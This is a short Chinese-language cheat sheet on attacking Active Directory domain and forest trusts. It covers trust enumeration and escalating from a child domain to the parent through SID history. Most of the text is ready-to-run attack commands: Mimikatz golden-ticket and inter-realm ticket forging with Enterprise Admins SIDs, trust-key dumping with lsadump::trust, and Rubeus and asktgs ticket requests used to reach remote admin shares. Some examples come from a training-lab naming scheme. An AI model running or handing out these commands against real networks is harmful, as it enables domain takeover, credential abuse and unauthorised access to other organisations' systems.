域之间的信任关系
单程
域 B 信任 A
域 A 中的用户可以访问域 B 中的资源
域 B 中的用户无法访问域 A 中的资源
双向
域 A 信任域 B
域 B 信任域 A
认证请求可以在两个域之间双向传递
>nltest /trusted_domains
或者
>([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships()
返回
SourceName TargetName TrustType TrustDirection
---------- ---------- --------- --------------
domainA.local domainB.local TreeRoot Bidirectional
需要对当前域的域管理员级别访问权限
| Source | Target | Technique to use | |---|---|---|---| | 根域 | 子域 | Golden Ticket + Enterprise Admin group (Mimikatz /groups) | | 子域 | 子域 | SID History exploitation (Mimikatz /sids) | | 子域 | 根域 | SID History exploitation (Mimikatz /sids) | | 域林 A | 域林 B | PrinterBug + Unconstrained delegation ? |
大多数树都与双边信任关系相关联,以允许共享资源。
要求:
KRBTGT 哈希
查找域的 SID
Convert-NameToSid target.domain.com\krbtgt
S-1-5-21-2941561648-383941485-1389968811-502
使用Impacket
lookupsid.py domain/user:password@10.10.10.10
将 502 替换为 519 以代表 Enterprise Admins
创建金票并攻击父域。
>kerberos::golden /user:Administrator /krbtgt:HASH_KRBTGT /domain:domain.local /sid:S-1-5-21-2941561648-383941485-1389968811 /sids:S-1-5-SID-SECOND-DOMAIN-519 /ptt
要求:禁用 SID 过滤
从 DC 中,使用 Mimikatz 转储currentdomain\targetdomain$信任帐户的哈希(例如,使用 LSADump 或 DCSync)。然后,使用此信任密钥和域 SID,使用 Mimikatz 伪造一个跨域 TGT,将目标域的企业管理员组的 SID 添加到我们的SID 历史记录中。
查找末尾带有美元 ($) 符号的名称。大多数带有尾随$的帐户是计算机帐户,但有些是信任帐户
>lsadump::trust /patch
mimikatz(commandline) # kerberos::golden /domain:domain.local /sid:S-1-5-21... /rc4:HASH_TRUST$ /user:Administrator /service:krbtgt /target:external.com /ticket:c:\temp\trust.kirbi
mimikatz(commandline) # kerberos::golden /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-1874506631-3219952063-538504511 /sids:S-1-5-21-280534878-1496970234-700767426-519 /rc4:e4e47c8fc433c9e0f3b17ea74856ca6b /user:Administrator /service:krbtgt /target:moneycorp.local /ticket:c:\ad\tools\mcorp-ticket.kirbi
>.\asktgs.exe c:\temp\trust.kirbi CIFS/machine.domain.local
>.\Rubeus.exe asktgs /ticket:c:\ad\tools\mcorp-ticket.kirbi /service:LDAP/mcorp-dc.moneycorp.local /dc:mcorp-dc.moneycorp.local /ptt
>kirbikator lsa .\ticket.kirbi
>ls \\machine.domain.local\c$